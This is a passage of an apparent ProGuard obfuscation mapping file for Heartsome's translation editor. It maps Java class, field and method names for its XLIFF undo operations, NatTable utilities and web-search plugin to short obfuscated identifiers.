execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + void refreshViews() -> lS +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.LockOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.c: + java.util.List rowIdList -> abs + net.sourceforge.nattable.NatTable table -> XF + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + boolean lock -> abw + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + void changeTransUnitBeanProperties(boolean) -> H +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.MergeSegmentOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.d: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.util.List rowIdList -> abs + java.util.Map oldSegFragMap -> agU + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.NeedsReviewOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.e: + java.util.List rowIdList -> abs + net.sourceforge.nattable.NatTable table -> XF + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.lang.String state -> abz + java.util.Map oldState -> abA + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.RemoveAllTagsOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.f: + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.util.List rowIds -> abu + java.util.HashMap map -> map + net.sourceforge.nattable.NatTable table -> XF + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + void refreshNatTable() -> lT +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.SendTOTmOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.g: + java.util.List rowIdList -> abs + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.util.Map oldState -> abA + net.sourceforge.nattable.NatTable table -> XF + java.lang.String state -> abz + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.SplitSegmentOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.h: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + int offset -> offset + java.lang.String tuFragment -> abB + int rowIndex -> rowIndex + java.lang.String rowId -> OH + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + void refreshNatTable() -> lT +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.StateOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.i: + java.util.List rowIdList -> abs + net.sourceforge.nattable.NatTable table -> XF + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.lang.String state -> abz + java.util.Map oldState -> abA + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.UpdateDataOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.j: + java.lang.Object oldValue -> abD + net.sourceforge.nattable.layer.DataLayer dataLayer -> Zu + net.sourceforge.nattable.edit.command.UpdateDataCommand command -> abE + net.sourceforge.nattable.NatTable table -> XF + net.sourceforge.nattable.viewport.ViewportLayer viewportLayer -> viewportLayer + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + org.eclipse.core.runtime.IStatus refreshNatTable(java.lang.Object,boolean) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.UpdateSegmentsOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.k: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.sourceforge.nattable.NatTable table -> XF + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.util.Map segmentCache -> abv + java.util.List rowIds -> abu + java.util.Map map -> map + java.lang.String newValue -> abF + java.lang.String matchType -> VM + java.lang.String quality -> VN + boolean approved -> abG + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil instance -> abH + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.heartsome.cat.ts.tm.importer.TmImporter importer -> abI + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil getInstance(net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> getInstance + void approveTransUnits(boolean) -> approveTransUnits + void lockTransUnits(java.util.List,boolean) -> lockTransUnits + void changeTgtState(java.util.List,java.lang.String) -> changeTgtState + void changIsQuestionState(java.util.List,java.lang.String) -> changIsQuestionState + void changeSendToTmState(java.util.List,java.lang.String) -> changeSendToTmState + void changeTgtState(java.util.List,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> changeTgtState + boolean addSelectSegmentToTM() -> addSelectSegmentToTM + org.eclipse.core.runtime.IStatus propagateTranslations(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> propagateTranslations + void refreshCommand(java.lang.String,java.lang.String) -> refreshCommand + void mergeSegment() -> mergeSegment + void changeToSignedOffState() -> changeToSignedOffState + java.util.List getRowIdsNoEmptyTranslate(boolean) -> getRowIdsNoEmptyTranslate + void releaseResource() -> releaseResource + net.heartsome.cat.ts.tm.importer.TmImporter access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil) -> b +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil this$0 -> abJ + org.eclipse.core.resources.IProject val$project -> Ar + java.util.Map val$tmpGroup -> abK + int val$contextSize -> sL + void run() -> run + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1 this$1 -> abL + boolean[] val$state -> akP + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1 this$1 -> abL + java.lang.String val$msg -> KW + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$3: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1 this$1 -> abL + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$4: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1 this$1 -> abL + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1$5: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$1 this$1 -> abL + java.util.List val$addToTmResultRowIds -> akQ + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil this$0 -> abJ + org.eclipse.core.commands.operations.IOperationHistory val$operationHistory -> abN + java.util.List val$selectedRowIds -> abO + java.lang.String val$state -> wt + org.eclipse.core.runtime.IProgressMonitor val$monitor2 -> abP + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil this$0 -> abJ + org.eclipse.core.resources.IProject val$project -> Ar + java.util.Map val$tmpGroup -> abK + int val$contextSize -> sL + java.util.ArrayList val$lstRowId -> abQ + void run() -> run + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3 this$1 -> abR + boolean[] val$state -> akP + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$2: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3 this$1 -> abR + java.lang.String val$msg -> KW + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$3: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3 this$1 -> abR + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$4: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3 this$1 -> abR + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3$5: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$3 this$1 -> abR + java.util.ArrayList val$lstRowId -> abQ + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$4: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil this$0 -> abJ + net.heartsome.cat.ts.core.file.XLFHandler val$handler -> aku + java.util.List val$rowIds -> akv + java.lang.String val$rootTgtPureText -> akw + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$SortRowIdComparator -> net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil$SortRowIdComparator: + net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil this$0 -> abJ + int compare(java.lang.String,java.lang.String) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.util.ProgressIndicatorManager -> net.heartsome.cat.ts.util.ProgressIndicatorManager: + int statusTag -> ahP + void displayProgressIndicator() -> displayProgressIndicator + void hideProgressIndicator() -> hideProgressIndicator + int access$0() -> id + void access$1(int) -> ac +net.heartsome.cat.ts.util.ProgressIndicatorManager$1 -> net.heartsome.cat.ts.util.ProgressIndicatorManager$1: + void run() -> run +net.heartsome.cat.ts.util.ProgressIndicatorManager$2 -> net.heartsome.cat.ts.util.ProgressIndicatorManager$2: + void run() -> run +net.heartsome.cat.ts.websearch.Activator -> net.heartsome.cat.ts.websearch.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.websearch.Activator plugin -> aqa + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.websearch.Activator getDefault() -> pw + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + java.lang.String getPath() -> getPath +net.heartsome.cat.ts.websearch.bean.SearchEntry -> net.heartsome.cat.ts.websearch.bean.a: + java.lang.String KEY_WORD -> aqb + java.lang.String searchName -> aqc + java.lang.String searchUrl -> aqd + boolean isChecked -> aqe + java.lang.String imagePath -> B + boolean isDefault -> isDefault + java.lang.String id -> id + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + boolean isDefault() -> isDefault + void setDefault(boolean) -> setDefault + java.lang.String getSearchName() -> px + void setSearchName(java.lang.String) -> fT + java.lang.String getSearchUrl() -> py + void setSearchUrl(java.lang.String) -> fU + boolean isChecked() -> isChecked + void setChecked(boolean) -> setChecked + java.lang.String getImagePath() -> getImagePath + void setImagePath(java.lang.String) -> setImagePath +net.heartsome.cat.ts.websearch.config.WebSearchPreferencStore -> net.heartsome.cat.ts.websearch.config.a: + org.slf4j.Logger logger -> logger + java.lang.String preFix_path -> aqf + java.lang.String customConfigPath -> aqg + java.lang.String defaultConfigPath -> aqh + net.heartsome.xml.vtdimpl.VTDUtils customVu -> aqi + net.heartsome.xml.vtdimpl.VTDUtils defaultVu -> aqj + net.heartsome.cat.ts.websearch.config.WebSearchPreferencStore ins -> aqk + java.beans.PropertyChangeSupport support -> aql + net.heartsome.cat.ts.websearch.config.WebSearchPreferencStore getIns() -> pz + java.util.List getConfig(net.heartsome.xml.vtdimpl.VTDUtils,boolean) -> a + java.util.List getSearchConfig() -> pA + java.util.List getUseredConfig() -> pB + java.util.List getUseredConfig(java.util.List) -> U + java.util.List getDefaluSearchConfig() -> pC + void storeConfig(java.util.List) -> V + void writeContent(java.io.OutputStream,java.lang.String) -> a + java.lang.String convert2Xml(net.heartsome.cat.ts.websearch.bean.SearchEntry) -> a + void addProperChangeListener(java.beans.PropertyChangeListener) -> a + void removeProperChangeListener(java.beans.PropertyChangeListener) -> b + java.util.List importSearchConfig(java.lang.String) -> fV + boolean exportSearchConfig(java.lang.String) -> fW +net.heartsome.cat.ts.websearch.handler.WebSearchHandler -> net.heartsome.cat.ts.websearch.handler.a: + org.slf4j.Logger logger -> logger + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + org.eclipse.ui.IWorkbenchPage getActivePage() -> getActivePage +net.heartsome.cat.ts.websearch.resource.Messages -> net.heartsome.cat.ts.websearch.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent -> net.heartsome.cat.ts.websearch.ui.browser.a: + java.util.ResourceBundle resourceBundle -> resourceBundle + int index -> index + boolean busy -> aqm + org.eclipse.swt.graphics.Image[] images -> images + org.eclipse.swt.graphics.Image icon -> Cr + boolean title -> aqn + org.eclipse.swt.widgets.Composite parent -> parent + org.eclipse.swt.widgets.Text locationBar -> aqo + org.eclipse.swt.browser.Browser browser -> browser + org.eclipse.swt.widgets.ToolBar toolbar -> aqp + org.eclipse.swt.widgets.Canvas canvas -> aqq + org.eclipse.swt.widgets.ToolItem itemBack -> aqr + org.eclipse.swt.widgets.ToolItem itemForward -> aqs + org.eclipse.swt.widgets.Label status -> aqt + org.eclipse.swt.widgets.ProgressBar progressBar -> IA + org.eclipse.swt.SWTError error -> aqu + java.lang.String[] imageLocations -> aqv + java.lang.String iconLocation -> aqw + void dispose() -> dispose + java.lang.String getResourceString(java.lang.String) -> getResourceString + org.eclipse.swt.SWTError getError() -> pD + org.eclipse.swt.browser.Browser getBrowser() -> getBrowser + void setShellDecoration(org.eclipse.swt.graphics.Image,boolean) -> a + void show(boolean,org.eclipse.swt.graphics.Point,org.eclipse.swt.graphics.Point,boolean,boolean,boolean,boolean) -> a + void focus() -> focus + void freeResources() -> pE + void initResources() -> pF + org.eclipse.swt.graphics.Image getTitleIcon() -> pG +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$1 -> net.heartsome.cat.ts.websearch.ui.browser.b: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$10 -> net.heartsome.cat.ts.websearch.ui.browser.c: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void changed(org.eclipse.swt.browser.StatusTextEvent) -> changed +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$11 -> net.heartsome.cat.ts.websearch.ui.browser.d: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void changed(org.eclipse.swt.browser.ProgressEvent) -> changed + void completed(org.eclipse.swt.browser.ProgressEvent) -> completed +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$12 -> net.heartsome.cat.ts.websearch.ui.browser.e: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void changed(org.eclipse.swt.browser.LocationEvent) -> changed + void changing(org.eclipse.swt.browser.LocationEvent) -> changing +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$13 -> net.heartsome.cat.ts.websearch.ui.browser.f: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + org.eclipse.swt.widgets.Shell val$shell -> ct + void changed(org.eclipse.swt.browser.TitleEvent) -> changed +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$2 -> net.heartsome.cat.ts.websearch.ui.browser.g: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void open(org.eclipse.swt.browser.WindowEvent) -> open +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$3 -> net.heartsome.cat.ts.websearch.ui.browser.h: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void hide(org.eclipse.swt.browser.WindowEvent) -> hide + void show(org.eclipse.swt.browser.WindowEvent) -> show +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$4 -> net.heartsome.cat.ts.websearch.ui.browser.i: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void close(org.eclipse.swt.browser.WindowEvent) -> close +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$5 -> net.heartsome.cat.ts.websearch.ui.browser.j: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + org.eclipse.swt.widgets.ToolItem val$itemStop -> aqy + org.eclipse.swt.widgets.ToolItem val$itemRefresh -> aqz + org.eclipse.swt.widgets.ToolItem val$itemGo -> aqA + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$6 -> net.heartsome.cat.ts.websearch.ui.browser.k: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + org.eclipse.swt.graphics.Rectangle val$rect -> aqB + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$7 -> net.heartsome.cat.ts.websearch.ui.browser.l: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$8 -> net.heartsome.cat.ts.websearch.ui.browser.m: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + org.eclipse.swt.widgets.Display val$display -> cJ + void run() -> run +net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent$9 -> net.heartsome.cat.ts.websearch.ui.browser.n: + net.heartsome.cat.ts.websearch.ui.browser.BrowserComponent this$0 -> aqx + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.websearch.ui.browser.BrowserTab -> net.heartsome.cat.ts.websearch.ui.browser.o: + org.slf4j.Logger logger -> logger + org.eclipse.swt.browser.Browser browser -> browser + net.heartsome.cat.ts.websearch.bean.SearchEntry searchEntry -> aqC + org.eclipse.swt.widgets.Composite tabFolderPage -> aqD + org.eclipse.swt.custom.CTabItem item -> aqE + org.eclipse.swt.browser.OpenWindowListener openLisenter -> aqF + net.heartsome.cat.ts.websearch.bean.SearchEntry getSearchEntry() -> pH + org.eclipse.swt.custom.CTabItem getItem() -> getItem + void setItem(org.eclipse.swt.custom.CTabItem) -> a + void setSearchEntry(net.heartsome.cat.ts.websearch.bean.SearchEntry) -> b + org.eclipse.swt.widgets.Composite createTabFolderPage(org.eclipse.swt.custom.CTabFolder) -> a + void hookOpenListner() -> pI + void close() -> close + void searchKeyWord(java.lang.String) -> fX + java.lang.String encodeUrl(java.lang.String) -> encodeUrl + org.eclipse.swt.browser.Browser getBrowser() -> getBrowser +net.heartsome.cat.ts.websearch.ui.browser.BrowserTab$1 -> net.heartsome.cat.ts.websearch.ui.browser.p: + net.heartsome.cat.ts.websearch.ui.browser.BrowserTab this$0 -> aqG + void open(org.eclipse.swt.browser.WindowEvent) -> open +net.heartsome.cat.ts.websearch.ui.dialog.AddSearchEntryDialog -> net.heartsome.cat.ts.websearch.ui.dialog.a: + int ADD -> ADD + int EDIT -> Li + org.eclipse.swt.widgets.Text nameText -> aqH + org.eclipse.swt.widgets.Text urlText -> aqI + org.eclipse.swt.widgets.Button btnYesRadioButton -> aqJ + org.eclipse.swt.widgets.Button btnNoRadioButton -> aqK + net.heartsome.cat.ts.websearch.bean.SearchEntry searEntry -> aqL + int style -> style + org.eclipse.swt.widgets.Button okBtn -> Cu + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + boolean validateValue() -> pJ + void setOkState() -> pK + void access$0(net.heartsome.cat.ts.websearch.ui.dialog.AddSearchEntryDialog) -> a +net.heartsome.cat.ts.websearch.ui.dialog.AddSearchEntryDialog$1 -> net.heartsome.cat.ts.websearch.ui.dialog.b: + net.heartsome.cat.ts.websearch.ui.dialog.AddSearchEntryDialog this$0 -> aqM + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.websearch.ui.dialog.AddSearchEntryDialog$2 -> net.heartsome.cat.ts.websearch.ui.dialog.c: + net.heartsome.cat.ts.websearch.ui.dialog.AddSearchEntryDialog this$0 -> aqM + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferenceInitializer -> net.heartsome.cat.ts.websearch.ui.preference.a: + void initializeDefaultPreferences() -> initializeDefaultPreferences +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage -> net.heartsome.cat.ts.websearch.ui.preference.b: + org.slf4j.Logger logger -> logger + java.lang.String ID -> ID + java.lang.String[] tittles -> aqN + java.lang.String APP_PROP -> aqO + java.lang.String NAME_PROP -> aqP + java.lang.String URL_PROP -> aqQ + org.eclipse.jface.viewers.CheckboxTableViewer checkboxTableViewer -> aqR + java.util.List cache -> gg + boolean isDirty -> isDirty + org.eclipse.swt.widgets.Table table -> table + org.eclipse.swt.widgets.Button addItemBtn -> aqS + org.eclipse.swt.widgets.Button editItemBtn -> aqT + org.eclipse.swt.widgets.Button deleteItemBtn -> aqU + org.eclipse.swt.widgets.Button upItemBtn -> aqV + org.eclipse.swt.widgets.Button downItemBtn -> aqW + org.eclipse.swt.widgets.Button importItemsBtn -> aqX + org.eclipse.swt.widgets.Button exportItemsBtn -> aqY + boolean isDirty() -> isDirty + void setDirty(boolean) -> setDirty + void init(org.eclipse.ui.IWorkbench) -> init + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Composite createTitleArea(org.eclipse.swt.widgets.Composite) -> createTitleArea + org.eclipse.swt.widgets.Composite createTableArea(org.eclipse.swt.widgets.Composite) -> al + org.eclipse.swt.widgets.Composite createTableCmdArea(org.eclipse.swt.widgets.Composite) -> am + boolean performOk() -> performOk + void performDefaults() -> performDefaults + void refreshTable(java.lang.Object) -> k + void installListeners() -> installListeners + net.heartsome.cat.ts.websearch.bean.SearchEntry getSelectTableItem() -> pL + int getSelectIndex() -> pM + void upSelectItem() -> pN + void downSelectItem() -> pO + void deleteSelectItem() -> pP + void addItem() -> pQ + boolean hasDupliacateUrl(java.util.List,net.heartsome.cat.ts.websearch.bean.SearchEntry) -> a + void editItem() -> pR + void updateState() -> updateState + void importConfig() -> pS + void exportConfig() -> pT + org.eclipse.jface.viewers.CheckboxTableViewer access$0(net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage) -> a + java.lang.String[] access$1() -> nF + void access$2(net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage) -> b +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$1 -> net.heartsome.cat.ts.websearch.ui.preference.c: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$2 -> net.heartsome.cat.ts.websearch.ui.preference.d: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$3 -> net.heartsome.cat.ts.websearch.ui.preference.e: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage$4 -> net.heartsome.cat.ts.websearch.ui.preference.f: + net.heartsome.cat.ts.websearch.ui.preference.WebSearchPreferencePage this$0 -> aqZ + void 